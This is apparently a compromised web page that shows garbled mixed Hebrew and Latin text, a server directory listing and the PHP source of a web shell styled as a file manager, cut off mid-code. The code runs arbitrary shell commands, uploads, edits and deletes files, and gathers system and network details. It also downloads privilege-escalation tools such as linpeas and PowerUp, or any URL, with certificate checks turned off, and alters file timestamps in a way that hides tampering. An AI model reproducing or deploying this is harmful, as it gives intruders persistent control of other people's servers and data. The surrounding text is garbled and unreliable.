ב הוא חיבור של הרב יהושע בועז שתוכנו מראי מקומות למקורותشسdggרות הל555ה התafhgfh
במסgרות ה gh//شی הוא חיבור של הרב יהושע בועז שתוכנו מראי מקומות למקורותהתנדaghhhhו12ין יעל, המעציfghfghfע
/
www-data
/
newsitesimages
/
Upload FileeE
HOME
<?php // File Manager with CYSHELL-like Interface // Author: AI Generated // Password: Change the value below const FM_PASSWORD = 'changeme'; // CHANGE THIS PASSWORD // Polyfill for str_starts_with for PHP <8 if (!function_exists('str_starts_with')) { function str_starts_with($haystack, $needle) { return (string)$needle !== '' && strncmp($haystack, $needle, strlen($needle)) === 0; } } session_start(); ini_set('display_errors', '0'); error_reporting(0); function is_ajax() { return !empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'; } function format_size($bytes) { if (!is_numeric($bytes) || $bytes <= 0) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = floor(log($bytes, 1024)); return round($bytes / (1024 ** $i), 2) . ' ' . $units[$i]; } function format_perms($path) { $perms = @fileperms($path); if ($perms === false) return '??????????'; $info = is_dir($path) ? 'd' : '-'; $info .= ($perms & 0x0100) ? 'r' : '-'; $info .= ($perms & 0x0080) ? 'w' : '-'; $info .= ($perms & 0x0040) ? 'x' : '-'; $info .= ($perms & 0x0020) ? 'r' : '-'; $info .= ($perms & 0x0010) ? 'w' : '-'; $info .= ($perms & 0x0008) ? 'x' : '-'; $info .= ($perms & 0x0004) ? 'r' : '-'; $info .= ($perms & 0x0002) ? 'w' : '-'; $info .= ($perms & 0x0001) ? 'x' : '-'; return $info; } function handle_auth() { if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } if (isset($_SESSION['fm_logged'])) return; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { if ($_POST['password'] === FM_PASSWORD) { $_SESSION['fm_logged'] = true; header('Location: ' . $_SERVER['PHP_SELF']); exit; } } display_login(); } function delete_dir_recursive($dir) { if (!is_dir($dir)) return false; $items = scandir($dir); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { if (!delete_dir_recursive($path)) return false; } else { if (!unlink($path)) return false; } } return rmdir($dir); } function handle_ajax() { if (!is_ajax() || !isset($_SESSION['fm_logged'])) return; header('Content-Type: application/json'); $input = json_decode(file_get_contents('php://input'), true); $action = $input['action'] ?? ''; $payload = $input['payload'] ?? []; $response = ['status' => 'error', 'message' => 'Invalid action.']; try { switch ($action) { case 'list': $path = $payload['path'] ?? __DIR__; $full_path = realpath($path); if ($full_path === false || !is_dir($full_path)) throw new Exception('Invalid path.'); $files = []; foreach (scandir($full_path) as $item) { if ($item === '.') continue; $item_path = $full_path . DIRECTORY_SEPARATOR . $item; $files[] = [ 'name' => $item, 'path' => $item_path, 'type' => is_dir($item_path) ? 'dir' : 'file', 'size' => is_dir($item_path) ? '' : format_size(@filesize($item_path)), 'perms' => format_perms($item_path), 'mtime' => date('Y-m-d H:i:s', @filemtime($item_path)) ]; } usort($files, function($a, $b) { if ($a['name'] === '..') return -1; if ($b['name'] === '..') return 1; if ($a['type'] === $b['type']) { return strnatcasecmp($a['name'], $b['name']); } return ($a['type'] === 'dir') ? -1 : 1; }); $response = ['status' => 'success', 'data' => ['files' => $files, 'current_path' => $full_path]]; break; case 'get': $path = $payload['path'] ?? ''; if (empty($path) || !is_file($path) || !is_readable($path)) throw new Exception('File not found or not readable.'); // Detect binary/text $mime = 'text/plain'; if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $tmpMime = finfo_file($finfo, $path); if (!empty($tmpMime)) { $mime = $tmpMime; } finfo_close($finfo); } else { // Fallback: extension or peek first 1000 bytes $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); $text_extensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'csv', 'log', 'md', 'ini', 'conf', 'cfg', 'yml', 'yaml']; if (!in_array($ext, $text_extensions)) { $fh = @fopen($path, 'rb'); if ($fh) { $peek = @fread($fh, 1000); @fclose($fh); if ($peek !== false) { $readable_chars = 0; $len = strlen($peek); for ($i = 0; $i < $len; $i++) { $c = ord($peek[$i]); if (($c >= 32 && $c <= 126) || $c === 9 || $c === 10 || $c === 13) { $readable_chars++; } } $readable_ratio = $len > 0 ? ($readable_chars / $len) : 1.0; if ($readable_ratio < 0.7) { $mime = 'application/octet-stream'; } } } } } if (strpos($mime, 'text/') === 0 || $mime === 'application/json' || $mime === 'application/xml') { $size = @filesize($path); $maxRead = 1024 * 1024; // 1 MiB if (is_int($size) && $size !== false && $size > ($maxRead * 2)) { $fh = @fopen($path, 'rb'); if ($fh) { @fseek($fh, -$maxRead, SEEK_END); $tail = @fread($fh, $maxRead); @fclose($fh); if ($tail !== false) { // Ensure valid UTF-8 for JSON encoding if (function_exists('mb_detect_encoding') && !mb_detect_encoding($tail, 'UTF-8', true)) { $conv = @iconv('UTF-8', 'UTF-8//IGNORE', $tail); if ($conv !== false) { $tail = $conv; } } $prefix = '[Showing last ' . format_size($maxRead) . ' of ' . format_size($size) . "]\n"; $response = ['status' => 'success', 'data' => $prefix . $tail]; break; } } } $content = @file_get_contents($path); if ($content === false) throw new Exception('Failed to read file content.'); if (function_exists('mb_detect_encoding') && !mb_detect_encoding($content, 'UTF-8', true)) { $conv = @iconv('UTF-8', 'UTF-8//IGNORE', $content); if ($conv !== false) { $content = $conv; } } $response = ['status' => 'success', 'data' => $content]; } else { $response = ['status' => 'success', 'data' => '[Preview not supported for binary file: ' . htmlspecialchars(basename($path)) . ']']; } break; case 'save': $path = $payload['path'] ?? ''; if (empty($path) || !is_file($path) || !is_writable($path)) throw new Exception('File not found or not writable.'); if (file_put_contents($path, $payload['content'] ?? '') === false) throw new Exception('Failed to save file.'); $response = ['status' => 'success', 'data' => 'File saved.']; break; case 'delete': $path = $payload['path'] ?? ''; if (empty($path) || !file_exists($path)) throw new Exception('Path not found.'); if (is_dir($path)) { $success = delete_dir_recursive($path); } else { $success = unlink($path); } if (!$success) throw new Exception('Failed to delete.'); $response = ['status' => 'success', 'data' => 'Deleted.']; break; case 'mkdir': $path = $payload['path'] ?? ''; if (empty($path) || file_exists($path)) throw new Exception('Already exists.'); if (!mkdir($path)) throw new Exception('Failed to create directory.'); $response = ['status' => 'success', 'data' => 'Directory created.']; break; case 'touch': $path = $payload['path'] ?? ''; if (empty($path) || file_exists($path)) throw new Exception('Already exists.'); if (!touch($path)) throw new Exception('Failed to create file.'); $response = ['status' => 'success', 'data' => 'File created.']; break; case 'rename': $from = $payload['from'] ?? ''; $to = $payload['to'] ?? ''; if (empty($from) || empty($to) || !file_exists($from)) throw new Exception('Invalid path.'); if (!rename($from, $to)) throw new Exception('Failed to rename.'); $response = ['status' => 'success', 'data' => 'Renamed.']; break; case 'upload': if (!isset($_FILES['file']) || !isset($_POST['path'])) throw new Exception('No file or path.'); // Validate upload directory $upload_dir = $_POST['path']; // Security check: ensure upload directory is within allowed path $base = realpath(__DIR__); $doc_root = $_SERVER['DOCUMENT_ROOT']; $base_dir = dirname(__DIR__); // Check if upload directory is within allowed directories $upload_dir_real = realpath($upload_dir); $is_allowed = false; $doc_root_real = realpath($doc_root); $base_dir_real = realpath($base_dir); if ($upload_dir_real) { // Check if directory is within current directory, document root, or base directory if (strpos($upload_dir_real, $base) === 0 || ($doc_root_real && strpos($upload_dir_real, $doc_root_real) === 0) || ($base_dir_real && strpos($upload_dir_real, $base_dir_real) === 0)) { $is_allowed = true; } // Additional check: if it's an absolute path that exists and is writable, allow it // This handles cases where directories are in system directories that are accessible if (!$is_allowed && strpos($upload_dir_real, '/') === 0 && is_dir($upload_dir_real) && is_writable($upload_dir_real)) { // Check if the directory is not in a sensitive system directory $sensitive_dirs = ['/etc/', '/proc/', '/sys/', '/dev/', '/boot/', '/root/']; $is_sensitive = false; foreach ($sensitive_dirs as $sensitive_dir) { if (strpos($upload_dir_real, $sensitive_dir) === 0) { $is_sensitive = true; break; } } if (!$is_sensitive) { $is_allowed = true; } } } if (!$is_allowed) { throw new Exception('Invalid upload directory. Directory must be within allowed paths.'); } // Check if the directory exists and is writable if (!is_dir($upload_dir) || !is_writable($upload_dir)) { throw new Exception('Upload directory is not writable or does not exist: ' . $upload_dir); } $dest = rtrim($upload_dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); $destDir = dirname($dest); // Write to a temporary file in the same directory first $tmp = @tempnam($destDir, '.upload_'); if ($tmp === false) { $tmp = $destDir . DIRECTORY_SEPARATOR . '.upload_' . uniqid('', true); } if (!move_uploaded_file($_FILES['file']['tmp_name'], $tmp)) { $error = error_get_last(); $error_msg = $error ? $error['message'] : 'Unknown error'; if (file_exists($tmp)) { @unlink($tmp); } throw new Exception('Upload failed (temp write): ' . $error_msg); } // Atomically replace destination (works on Linux if dir writable) $renamed = @rename($tmp, $dest); if (!$renamed) { @chmod($dest, 0664); @unlink($dest); $renamed = @rename($tmp, $dest); } if (!$renamed) { $ownerUid = @fileowner($dest); $ownerName = ($ownerUid !== false && function_exists('posix_getpwuid')) ? (posix_getpwuid($ownerUid)['name'] ?? (string)$ownerUid) : (string)$ownerUid; $perms = @fileperms($dest); $permsOct = $perms ? substr(sprintf('%o', $perms), -4) : '????'; $dirWritable = is_writable($destDir) ? 'true' : 'false'; if (file_exists($tmp)) { @unlink($tmp); } throw new Exception('Failed to finalize upload (rename). owner=' . $ownerName . ' perms=' . $permsOct . ' dirWritable=' . $dirWritable); } @chmod($dest, 0664); $response = ['status' => 'success', 'data' => 'Uploaded.']; break; case 'exec': $cmd = $payload['command'] ?? ''; $dir = $payload['dir'] ?? ''; if (empty($cmd)) throw new Exception('No command.'); if (!function_exists('shell_exec')) throw new Exception('shell_exec is disabled.'); if (!empty($dir) && is_dir($dir)) @chdir($dir); // No script time limit (note: server/proxy timeouts may still apply) @set_time_limit(0); $is_linux = !str_starts_with(strtoupper(PHP_OS), 'WIN'); $runCmd = $cmd . ' 2>&1'; if ($is_linux) { $runCmd = 'sh -lc ' . escapeshellarg($cmd . ' 2>&1'); } $output = shell_exec($runCmd); if ($output === null) { throw new Exception('Command failed or blocked by server (null output).'); } $response = ['status' => 'success', 'data' => $output]; break; case 'exec_bg_start': // Start background command and stream output to a temp log file; return jobId $cmd = $payload['command'] ?? ''; $dir = $payload['dir'] ?? ''; if (empty($cmd)) throw new Exception('No command.'); if (!function_exists('shell_exec')) throw new Exception('shell_exec is disabled.'); $is_linux = !str_starts_with(strtoupper(PHP_OS), 'WIN'); if (!$is_linux) throw new Exception('Background exec supported on Linux only.'); $jobId = bin2hex(random_bytes(8)); $base = sys_get_temp_dir(); $log = $base . DIRECTORY_SEPARATOR . "fm_exec_{$jobId}.log"; $pidFile = $base . DIRECTORY_SEPARATOR . "fm_exec_{$jobId}.pid"; $dirChange = (!empty($dir) && is_dir($dir)) ? ('cd ' . escapeshellarg($dir) . ' && ') : ''; @touch($log); @chmod($log, 0664); $inner = $dirChange . 'nohup bash -lc ' . escapeshellarg($cmd . '; echo __EXIT_CODE:$?') . ' >> ' . escapeshellarg($log) . ' 2>&1 & echo $! > ' . escapeshellarg($pidFile); $wrapper = 'bash -lc ' . escapeshellarg($inner); @set_time_limit(0); shell_exec($wrapper); $response = ['status' => 'success', 'data' => ['jobId' => $jobId]]; break; case 'exec_bg_read': $jobId = $payload['jobId'] ?? ''; $offset = isset($payload['offset']) ? (int)$payload['offset'] : 0; if (!preg_match('/^[a-f0-9]{16}$/i', $jobId)) throw new Exception('Invalid jobId.'); $base = sys_get_temp_dir(); $log = $base . DIRECTORY_SEPARATOR . "fm_exec_{$jobId}.log"; $pidFile = $base . DIRECTORY_SEPARATOR . "fm_exec_{$jobId}.pid"; if (!file_exists($log)) throw new Exception('Log not found.'); $fh = @fopen($log, 'rb'); if (!$fh) throw new Exception('Cannot open log.'); $size = filesize($log); if ($offset < 0 || $offset > $size) { $offset = max(0, $size - 1024 * 1024); } fseek($fh, $offset); $chunk = stream_get_contents($fh); fclose($fh); $nextOffset = $offset + strlen($chunk); // Determine done $done = false; $exitSeen = (strpos($chunk, '__EXIT_CODE:') !== false) || (strpos(@file_get_contents($log, false, null, max(0, $size - 1024)), '__EXIT_CODE:') !== false); $pid = @is_file($pidFile) ? @trim(@file_get_contents($pidFile)) : ''; $running = false; if ($pid !== '' && ctype_digit($pid)) { $out = @shell_exec('ps -p ' . escapeshellarg($pid) . ' -o pid= 2>/dev/null 2>&1'); $running = !empty(trim((string)$out)); } if (!$running && $exitSeen) { $done = true; } $response = ['status' => 'success', 'data' => ['text' => $chunk, 'nextOffset' => $nextOffset, 'done' => $done]]; break; case 'exec_bg_stop': $jobId = $payload['jobId'] ?? ''; if (!preg_match('/^[a-f0-9]{16}$/i', $jobId)) throw new Exception('Invalid jobId.'); $base = sys_get_temp_dir(); $pidFile = $base . DIRECTORY_SEPARATOR . "fm_exec_{$jobId}.pid"; $pid = @is_file($pidFile) ? @trim(@file_get_contents($pidFile)) : ''; if ($pid !== '' && ctype_digit($pid)) { @shell_exec('kill -TERM ' . escapeshellarg($pid) . ' 2>&1'); } $response = ['status' => 'success', 'data' => 'Stopped.']; break; case 'system_info': $is_windows = str_starts_with(strtoupper(PHP_OS), 'WIN'); $info = []; $info['OS Family'] = $is_windows ? 'Windows' : 'Linux/Unix'; $info['Hostname'] = gethostname(); $info['Current User'] = function_exists('get_current_user') ? get_current_user() : 'N/A'; $info['Disk Free'] = disk_free_space('/') !== false ? format_size(disk_free_space('/')) : 'N/A'; $info['Disk Total'] = disk_total_space('/') !== false ? format_size(disk_total_space('/')) : 'N/A'; $info['Uptime'] = function_exists('shell_exec') ? trim(@shell_exec('uptime')) : 'N/A'; $info['Whoami'] = function_exists('shell_exec') ? trim(@shell_exec('whoami')) : 'N/A'; $info['Server IP'] = $_SERVER['SERVER_ADDR'] ?? getHostByName(getHostName()); $kernel = ''; if (function_exists('shell_exec')) { $kernel = trim(@shell_exec('uname -r')); } if (empty($kernel) && function_exists('php_uname')) { $kernel = php_uname('r'); } $info['Kernel'] = ($kernel !== '' && $kernel !== false) ? $kernel : 'N/A'; // General PHP/server info $info['PHP Version'] = phpversion(); $info['Loaded Extensions'] = implode(', ', get_loaded_extensions()); $info['Server Software'] = $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; $info['Document Root'] = $_SERVER['DOCUMENT_ROOT'] ?? 'N/A'; $info['Script Filename'] = $_SERVER['SCRIPT_FILENAME'] ?? 'N/A'; $info['Upload Max Filesize'] = ini_get('upload_max_filesize'); $info['Post Max Size'] = ini_get('post_max_size'); $info['Memory Limit'] = ini_get('memory_limit'); $info['Max Execution Time'] = ini_get('max_execution_time'); if (function_exists('posix_getuid')) { $info['User/UID/GID'] = get_current_user() . ' / ' . posix_getuid() . ' / ' . posix_getgid(); } if ($is_windows) { $info['System Info'] = shell_exec('systeminfo 2>&1'); $info['Network Info'] = shell_exec('ipconfig /all 2>&1'); } else { $info['OS Release'] = file_exists('/etc/os-release') ? shell_exec('cat /etc/os-release 2>&1') : 'N/A'; $info['Kernel'] = shell_exec('uname -a 2>&1'); $netinfo = shell_exec('ip a 2>&1'); if (strpos($netinfo, 'command not found') !== false || trim($netinfo) === '') { $netinfo = shell_exec('ifconfig 2>&1'); if (strpos($netinfo, 'command not found') !== false || trim($netinfo) === '') { $netinfo = 'No network command (ip/ifconfig) available.'; } } $info['Network Info'] = $netinfo; } $response = ['status' => 'success', 'data' => $info]; break; case 'download_tool': $tool = $payload['tool'] ?? ''; $url = $payload['url'] ?? ''; $urls = [ 'linpeas' => 'https://github.com/peass-ng/PEASS-ng/releases/download/20250701-bdcab634/linpeas.sh', 'winpeas' => 'https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEAS.bat', 'powersploit' => 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1' ]; if ($tool === 'custom') { if (empty($url) || !filter_var($url, FILTER_VALIDATE_URL)) throw new Exception('Invalid custom URL provided.'); $download_url = $url; $filename = basename(parse_url($url, PHP_URL_PATH)); } else { if (!isset($urls[$tool])) throw new Exception('Invalid tool selected.'); $download_url = $urls[$tool]; $filename = basename($download_url); } $temp_dir = sys_get_temp_dir(); if (!is_writable($temp_dir)) throw new Exception("Temp directory '{$temp_dir}' is not writable."); $save_path = $temp_dir . DIRECTORY_SEPARATOR . $filename; $content = @file_get_contents($download_url); if ($content === false) { // Try cURL fallback if (function_exists('curl_init')) { $ch = curl_init($download_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $content = curl_exec($ch); $curl_err = curl_error($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($content === false || $http_code >= 400) { throw new Exception("Failed to download from {$download_url} via cURL: " . ($curl_err ?: "HTTP $http_code")); } } else { $err = error_get_last(); $msg = isset($err['message']) ? $err['message'] : ''; throw new Exception("Failed to download from {$download_url}" . ($msg ? ": $msg" : '')); } } if (file_put_contents($save_path, $content) === false) throw new Exception("Failed to save file to {$save_path}"); $response = ['status' => 'success', 'data' => "Successfully downloaded '{$filename}' to {$save_path}"]; break; case 'download_url_to_dir': $url = $payload['url'] ?? ''; $dir = $payload['dir'] ?? __DIR__; error_log('[FM] Download request: url=' . $url . ' dir=' . $dir); if (empty($url) || !filter_var($url, FILTER_VALIDATE_URL)) throw new Exception('Invalid URL.'); $filename = basename(parse_url($url, PHP_URL_PATH)); if (!$filename) throw new Exception('Could not determine filename from URL.'); $save_path = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $filename; error_log('[FM] Save path: ' . $save_path); $content = @file_get_contents($url); if ($content === false) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $content = curl_exec($ch); $curl_err = curl_error($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); error_log('[FM] cURL error: ' . $curl_err . ' HTTP code: ' . $http_code); curl_close($ch); if ($content === false || $http_code >= 400) { throw new Exception("Failed to download from {$url} via cURL: " . ($curl_err ?: "HTTP $http_code")); } } else { $err = error_get_last(); $msg = isset($err['message']) ? $err['message'] : ''; error_log('[FM] file_get_contents error: ' . $msg); throw new Exception("Failed to download from {$url}" . ($msg ? ": $msg" : '')); } } if (file_put_contents($save_path, $content) === false) { error_log('[FM] file_put_contents failed: ' . $save_path); throw new Exception("Failed to save file to {$save_path}"); } $response = ['status' => 'success', 'data' => "Successfully downloaded '{$filename}' to {$save_path}"]; break; case 'download_file': $path = $payload['path'] ?? ''; if (empty($path) || !is_file($path) || !is_readable($path)) throw new Exception('File not found or not readable.'); // Output file for download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($path)); readfile($path); exit; case 'chmod_file': $path = $payload['path'] ?? ''; $mode = $payload['mode'] ?? ''; if (empty($path) || !file_exists($path)) throw new Exception('File or directory not found.'); if (!preg_match('/^[0-7]{3,4}$/', $mode)) throw new Exception('Invalid mode. Use octal like 755 or 0644.'); $oct = intval($mode, 8); // Windows fallback using attrib (read-only flag) $is_windows = str_starts_with(strtoupper(PHP_OS), 'WIN'); if ($is_windows) { $writableDesired = (($oct & 0222) !== 0); @chmod($path, $oct); clearstatcache(true, $path); if (function_exists('shell_exec')) { $escaped = escapeshellarg($path); @shell_exec(($writableDesired ? 'attrib -R ' : 'attrib +R ') . $escaped . ' 2>&1'); clearstatcache(true, $path); } $response = ['status' => 'success', 'data' => 'Permissions updated.']; break; } // Unix/Linux path: try native chmod first if (@chmod($path, $oct)) { $response = ['status' => 'success', 'data' => 'Permissions updated.']; break; } // Fallback: try shell chmod if available if (function_exists('shell_exec')) { $modeStr = sprintf('%04o', $oct); $escaped = escapeshellarg($path); @shell_exec("chmod $modeStr $escaped 2>&1"); clearstatcache(true, $path); $permsAfter = @fileperms($path); if ($permsAfter && substr(sprintf('%o', $permsAfter), -4) === $modeStr) { $response = ['status' => 'success', 'data' => 'Permissions updated.']; break; } } // Diagnostics for clearer error on Linux (likely not owner or read-only FS) $ownerUid = @fileowner($path); $ownerName = ($ownerUid !== false && function_exists('posix_getpwuid')) ? (posix_getpwuid($ownerUid)['name'] ?? (string)$ownerUid) : (string)$ownerUid; $euid = function_exists('posix_geteuid') ? @posix_geteuid() : null; $euser = ($euid !== null && function_exists('posix_getpwuid')) ? (posix_getpwuid($euid)['name'] ?? (string)$euid) : (@get_current_user() ?: 'unknown'); $permsCurrent = @fileperms($path); $permsOct = $permsCurrent ? substr(sprintf('%o', $permsCurrent), -4) : '????'; $writable = @is_writable($path) ? 'true' : 'false'; throw new Exception('Failed to change permissions. owner=' . $ownerName . ' uid=' . $ownerUid . ' current_user=' . $euser . ' perms=' . $permsOct . ' writable=' . $writable . '. On Linux, only the owner or root can chmod, or the filesystem may be read-only/ACL-protected.'); break; case 'touch_file': $path = $payload['path'] ?? ''; $timestamp = $payload['timestamp'] ?? ''; if (empty($path) || !file_exists($path)) throw new Exception('File or directory not found.'); // Parse timestamp if (empty($timestamp)) { // Use current time if no timestamp provided $time = time(); } else { // Try to parse the timestamp $time = strtotime($timestamp); if ($time === false) { throw new Exception('Invalid timestamp format. Use YYYY-MM-DD HH:MM:SS or timestamp.'); } } // Try multiple possible paths for the file $possible_paths = array(); // 1. Try as absolute path (if it's already a full path) if (strpos($path, '/') === 0 || strpos($path, '\\') === 0) { $possible_paths[] = $path; } // 2. Try as relative path from current directory $possible_paths[] = __DIR__ . '/' . $path; // 3. Try relative to document root $doc_root = $_SERVER['DOCUMENT_ROOT']; $possible_paths[] = $doc_root . '/' . $path; // 4. Try base directory (one level up) $base_dir = dirname(__DIR__); $possible_paths[] = $base_dir . '/' . $path; // 5. Try as absolute path without any modification $possible_paths[] = $path; $target_file = null; foreach ($possible_paths as $file_path) { if (file_exists($file_path)) { $target_file = $file_path; break; } } if (!$target_file) { throw new Exception('File not found. Searched in: ' . implode(', ', $possible_paths)); } // Security check: ensure file is within allowed directory $base = realpath(__DIR__); $doc_root = $_SERVER['DOCUMENT_ROOT']; $base_dir = dirname(__DIR__); // Check if file is within allowed directories $file_real = realpath($target_file); $is_allowed = false; if ($file_real) { // Check if file is within current directory, document root, or base directory if (strpos($file_real, $base) === 0 || strpos($file_real, realpath($doc_root)) === 0 || strpos($file_real, realpath($base_dir)) === 0) { $is_allowed = true; } } if (!$is_allowed) { throw new Exception('Invalid file path. File must be within allowed paths.'); } // Change file modification time if (!@touch($target_file, $time)) { throw new Exception('Failed to change file modification time.'); } $response = ['status' => 'success', 'data' => 'File modification time updated to ' . date('Y-m-d H:i:s', $time)]; break; } } catch (Throwable $e) { $response = ['status' => 'error', 'message' => $e->getMessage()]; } echo json_encode($response); exit; } function display_login() { ?> <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Login</title><script src="https://cdn.tailwindcss.com"></script><link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap" rel="stylesheet"><style>body { font-family: 'JetBrains Mono', monospace; }</style></head><body class="bg-gray-800 text-white flex items-center justify-center h-screen"><div class="bg-gray-900 p-8 rounded-lg shadow-lg w-full max-w-sm"><h1 class="text-2xl font-bold text-center mb-6">File Manager Login</h1><form action="<?= htmlspecialchars($_SERVER['PHP_SELF']) ?>" method="post"><div class="mb-4"><label for="password" class="block text-gray-400 mb-2">Password</label><input type="password" name="password" id="password" class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500" required></div><button type="submit" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-bold py-3 px-4 rounded-lg transition duration-300">Login</button></form></div></body></html> <?php exit; } handle_auth(); if (is_ajax()) handle_ajax(); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { // Handle upload via FormData (no X-Requested-With header) header('Content-Type: application/json'); $response = ['status' => 'error', 'message' => 'Unknown error.']; try { // Check authentication if (!isset($_SESSION['fm_logged'])) { throw new Exception('Not authenticated.'); } if (!isset($_FILES['file']) || !isset($_POST['path'])) { throw new Exception('No file or path.'); } // Check PHP upload errors if ($_FILES['file']['error'] !== UPLOAD_ERR_OK) { $err = [ UPLOAD_ERR_INI_SIZE => 'File too large (server limit).', UPLOAD_ERR_FORM_SIZE => 'File too large (form limit).', UPLOAD_ERR_PARTIAL => 'File only partially uploaded.', UPLOAD_ERR_NO_FILE => 'No file uploaded.', UPLOAD_ERR_NO_TMP_DIR => 'Missing temp folder.', UPLOAD_ERR_CANT_WRITE => 'Failed to write file.', UPLOAD_ERR_EXTENSION => 'Upload stopped by extension.' ]; $msg = $err[$_FILES['file']['error']] ?? 'Unknown upload error.'; throw new Exception($msg); } // Validate upload directory $upload_dir = $_POST['path']; // Try multiple possible paths for the upload directory $possible_paths = array(); // 1. Try as absolute path (if it's already a full path) if (strpos($upload_dir, '/') === 0 || strpos($upload_dir, '\\') === 0) { $possible_paths[] = $upload_dir; } // 2. Try as relative path from current directory $possible_paths[] = __DIR__ . '/' . $upload_dir; // 3. Try relative to document root $doc_root = $_SERVER['DOCUMENT_ROOT']; $possible_paths[] = $doc_root . '/' . $upload_dir; // 4. Try base directory (one level up) $base_dir = dirname(__DIR__); $possible_paths[] = $base_dir . '/' . $upload_dir; // 5. Try as absolute path without any modification $possible_paths[] = $upload_dir; $target_upload_dir = null; foreach ($possible_paths as $path) { if (is_dir($path) && is_writable($path)) { $target_upload_dir = $path; break; } } if (!$target_upload_dir) { throw new Exception('Upload directory is not writable or does not exist. Searched in: ' . implode(', ', $possible_paths)); } // Security check: ensure upload directory is within allowed path $base = realpath(__DIR__); $doc_root = $_SERVER['DOCUMENT_ROOT']; $base_dir = dirname(__DIR__); // Check if upload directory is within allowed directories $upload_dir_real = realpath($target_upload_dir); $is_allowed = false; if ($upload_dir_real) { // Check if directory is within current directory, document root, or base directory if (strpos($upload_dir_real, $base) === 0 || strpos($upload_dir_real, realpath($doc_root)) === 0 || strpos($upload_dir_real, realpath($base_dir)) === 0) { $is_allowed = true; } } if (!$is_allowed) { throw new Exception('Invalid upload directory. Directory must be within allowed paths.'); } $dest = rtrim($target_upload_dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); // If destination exists but not writable, try safe overwrite by unlinking if directory allows if (file_exists($dest) && !is_writable($dest)) { $destDir = dirname($dest); if (is_writable($destDir)) { @chmod($dest, 0664); @unlink($dest); } } // Re-check after attempted unlink if (file_exists($dest) && !is_writable($dest)) { $ownerUid = @fileowner($dest); $ownerName = ($ownerUid !== false && function_exists('posix_getpwuid')) ? (posix_getpwuid($ownerUid)['name'] ?? (string)$ownerUid) : (string)$ownerUid; $perms = @fileperms($dest); $permsOct = $perms ? substr(sprintf('%o', $perms), -4) : '????'; $dirWritable = is_writable(dirname($dest)) ? 'true' : 'false'; throw new Exception('Destination file exists and is not writable. owner=' . $ownerName . ' perms=' . $permsOct . ' dirWritable=' . $dirWritable); } if (!move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { // Get more specific error information $error = error_get_last(); $error_msg = $error ? $error['message'] : 'Unknown error'; throw new Exception('Upload failed: ' . $error_msg); } $response = ['status' => 'success', 'data' => 'Uploaded.']; } catch (Throwable $e) { $response = ['status' => 'error', 'message' => $e->getMessage()]; } echo json_encode($response); exit; } // Direct download via GET param (secure, only for logged in) if (isset($_GET['download']) && isset($_SESSION['fm_logged'])) { $file_path = $_GET['download']; // Prevent path traversal if (strpos($file_path, '..') !== false) { http_response_code(403); echo 'Forbidden.'; exit; } // Try multiple possible paths for the file $possible_paths = array(); // 1. Try as absolute path (if it's already a full path) if (strpos($file_path, '/') === 0 || strpos($file_path, '\\') === 0) { $possible_paths[] = $file_path; } // 2. Try as relative path from current directory $possible_paths[] = __DIR__ . '/' . $file_path; // 3. Try relative to document root $doc_root = $_SERVER['DOCUMENT_ROOT']; $possible_paths[] = $doc_root . '/' . $file_path; // 4. Try base directory (one level up) $base_dir = dirname(__DIR__); $possible_paths[] = $base_dir . '/' . $file_path; // 5. Try as filename in current directory $possible_paths[] = __DIR__ . '/' . basename($file_path); // 6. Try as absolute path without any modification $possible_paths[] = $file_path; $target = null; foreach ($possible_paths as $path) { if (is_file($path) && is_readable($path)) { $target = $path; break; } } if ($target && 